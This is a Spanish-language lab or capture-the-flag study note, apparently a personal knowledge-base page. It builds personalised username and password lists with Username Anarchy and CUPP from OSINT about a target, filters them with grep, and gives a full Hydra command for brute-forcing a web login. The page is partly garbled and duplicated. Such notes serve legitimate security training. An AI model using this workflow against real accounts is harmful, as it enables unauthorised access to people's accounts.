Custom Wordlists — Username Anarchy & CUPP

🧰 Listas de Palabras Personalizadas

¿Por qué crear listas personalizadas?

Las listas estándar (rockyou, SecLists…) son muy amplias y poco precisas.
Cuando el objetivo tiene patrones propios (empresa, cultura, gustos), las listas personalizadas aumentan muchísimo la tasa de éxito.


👤 Anarquía de Nombres de Usuario (Username Anarchy)

Genera decenas o cientos de combinaciones de usuarios a partir de un nombre real

Incluye iniciales, leetspeak, combinaciones creativas, etc.

📦 Instalación

sudo apt install ruby -y
git clone https://github.com/urbanadventurer/username-anarchy.git
cd username-anarchy

🛠️ Generación de nombres de usuario

./username-anarchy Jane Smith > jane_smith_usernames.txt

{9E2F6505-F357-4E86-924F-C2B0E127CE74}.png

Ejemplos generados

  • janesmith, smithjane
  • jane.smith, j.smith
  • js, sj
  • j4n3, 5m1th
  • jane_the_gardener, potterheadjane


🗝️ CUPP – Generador de Contraseñas Personalizadas

CUPP usa OSINT

Cuanta más información tengas del objetivo, mejores contraseñas genera:
cumpleaños, pareja, mascotas, colores favoritos, hobbies, empresa…

📦 Instalación

sudo apt install cupp -y

🧪 Modo interactivo

cupp -i

{A26413BB-D4C0-474A-B528-B08990EA7B57}.png
Ejemplo de datos introducidos para generar “jane.txt”:


🧹 Filtrado según la política de contraseñas de la empresa

Política requerida:

🔍 Filtrar con grep

grep -E '^.{6,}
Resultado final: lista reducida (~7.900 contraseñas útiles).

---

# ⚔️ Fuerza Bruta con Hydra

> [!tip] **Sustituye IP y PORT por los de tu objetivo.**

``` bash
hydra -L jane_smith_usernames.txt -P jane-filtered.txt IP -s PORT -f http-post-form "/:username=^USER^&password=^PASS^:Invalid credentials"

{E48DA594-B0F9-4E4E-9FA3-5AA286AFDE44}.png
Usuario jane contraseña 3n43 !!

Una vez Hydra encuentre credenciales válidas → inicia sesión y obtiene la flag.
{07FF8A17-110E-4D97-9AC8-73F01FF9F70C}.png jane.txt | grep -E '[A-Z]' | grep -E '[a-z]' | grep -E '[0-9]' | grep -E '([!@#$%^&].){2,}' > jane-filtered.txt

Resultado final: lista reducida (~7.900 contraseñas útiles).

---

# ⚔️ Fuerza Bruta con Hydra

> [!tip] **Sustituye IP y PORT por los de tu objetivo.**

{{CODE_BLOCK_5}}
![{E48DA594-B0F9-4E4E-9FA3-5AA286AFDE44}.png](/img/user/Gorosolea/Imagenes/%7BE48DA594-B0F9-4E4E-9FA3-5AA286AFDE44%7D.png)
Usuario jane contraseña `3n43 !!`

Una vez Hydra encuentre credenciales válidas → inicia sesión y obtiene la flag.
![{07FF8A17-110E-4D97-9AC8-73F01FF9F70C}.png](/img/user/Gorosolea/Imagenes/%7B07FF8A17-110E-4D97-9AC8-73F01FF9F70C%7D.png)